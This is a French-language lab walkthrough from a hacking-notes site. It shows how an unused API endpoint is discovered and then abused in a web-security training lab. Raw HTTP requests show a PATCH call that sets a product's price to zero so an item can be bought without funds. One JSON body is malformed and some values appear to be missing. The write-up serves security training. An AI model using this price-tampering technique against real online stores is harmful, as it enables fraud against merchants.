> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/api-testing/discovery-and-exploitation-of-an-unused-api-endpoint.md).

# Découverte et exploitation d’un point de terminaison API inutilisé

### Découverte et exploitation d'un point de terminaison API inutilisé

L'objectif de ce labo est d'utiliser un point de terminaison API caché pour acheter un **Veste en cuir l33t légère** sans fonds suffisants. / L'authentification se fait avec les identifiants suivants :

* **Utilisateur**: wiener
* **Mot de passe**: peter

Une fois connecté, le solde du compte est **$**.

<figure><img src="/files/08edce6af38f5ddee119fc28d5bdb75bf20799b7" alt=""><figcaption></figcaption></figure>

#### Analyse du comportement de l'application

Lorsque vous consultez le produit, l'application envoie en arrière-plan une requête API pour récupérer son prix.

<figure><img src="/files/fd724f84e6ffd2af6933e39360601a15b1d791e9" alt=""><figcaption></figcaption></figure>

**Requête utilisée pour afficher le prix**

```bash
GET /api/products/1/price
```

**Réponse du serveur**

{% code overflow="wrap" %}

```json
{
    "price":"$1337.00",
    "message":"&#x1F525; 21 en stock, achetez vite ! &#x1F525;"
}
```

{% endcode %}

<figure><img src="/files/a9a42a44d78037df728f097f007eee3654fe9e4d" alt=""><figcaption></figcaption></figure>

#### Identification des méthodes HTTP disponibles

Un **OPTIONS** une requête est envoyée pour identifier les méthodes autorisées sur ce point de terminaison.

**Requête OPTIONS**

```bash
OPTIONS /api/products/1/price
```

**Réponse**

Le serveur indique que les méthodes suivantes sont autorisées :

* GET
* PATCH

<figure><img src="/files/506debbcd662e9f50f9e40dc15e9184a6c597a7f" alt=""><figcaption></figcaption></figure>

Cela suggère qu'il est possible de **modifier** modifier le prix du produit via une requête PATCH.

#### Modification du prix via PATCH

Nous essayons ensuite de mettre à jour le prix du produit en envoyant une requête PATCH avec un corps JSON.

**Requête PATCH**

```http
PATCH /api/products/1/price
Host: 0abf000d04bd41568210d495001c000a.web-security-academy.net
Cookie: session=Ts7jyHfXOEyXqURmpAKf0SgO8DjhQYol

Content-Type: application/json
Content-Length: 22

{
	"price": "0
}
```

**Réponse du serveur**

```http
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 17

{
    "price":"$0.00"
}
```

<figure><img src="/files/9fc77baa936a7705ceb59cf33ceee9bc05c11c76" alt=""><figcaption></figcaption></figure>

Le prix du produit est désormais fixé à **$**.

<figure><img src="/files/422d9a8b8d6b0242cc49f99a1587be6cc9f25217" alt=""><figcaption></figcaption></figure>

#### Achat du produit

Une fois le prix modifié, il est possible d'acheter le **Veste en cuir l33t légère** malgré l'absence de crédit sur le compte, ce qui permet de valider le labo.

<figure><img src="/files/f7faca2870b9aaf7fa7b75067ab66699c6ed7a64" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/api-testing/discovery-and-exploitation-of-an-unused-api-endpoint.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
